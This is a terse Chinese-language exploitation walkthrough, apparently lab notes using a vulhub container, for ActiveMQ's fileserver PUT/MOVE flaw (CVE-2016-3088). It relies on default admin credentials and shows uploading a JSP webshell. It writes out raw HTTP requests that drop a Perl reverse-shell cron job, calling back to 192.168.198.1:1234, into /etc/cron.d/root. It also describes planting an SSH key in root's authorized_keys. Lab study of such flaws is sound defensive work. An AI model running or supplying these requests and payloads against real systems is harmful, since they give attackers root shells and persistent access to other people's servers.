上傳webshell
容器用vulhub的
PUT一個jsp文件
MOVE到api目錄
默認的ActiveMQ賬號密碼均為admin,首先訪問http://your-ip:8161/admin/test/systemProperties.jsp,查看ActiveMQ的絕對路徑:
訪問
其它利用方法--轉
寫入crontab,自動化彈shell
這是一個比較穩健的方法。首先上傳cron配置文件(注意,換行一定要\n,不能是\r\n,否則crontab執行會失敗)
PUT /fileserver/1.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 248
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.198.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
將其移動到/etc/cron.d/root:
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0
如果上述兩個請求都返回204了,說明寫入成功。等待反彈shell:
這個方法需要ActiveMQ是root運行,否則也不能寫入cron文件。
上傳SSH公鑰方式
既然可以任意文件上傳和移動,很自然的可以想到上傳我們的 ssh 公鑰,從而實現 SSH 方式登錄。
首先生成密鑰對。(如果已存在則不需要)
然后上傳、移動到/root/.ssh/並重命名為authorized_keys
之后直接ssh登錄即可。
參考:https://paper.seebug.org/346/
https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.zh-cn.md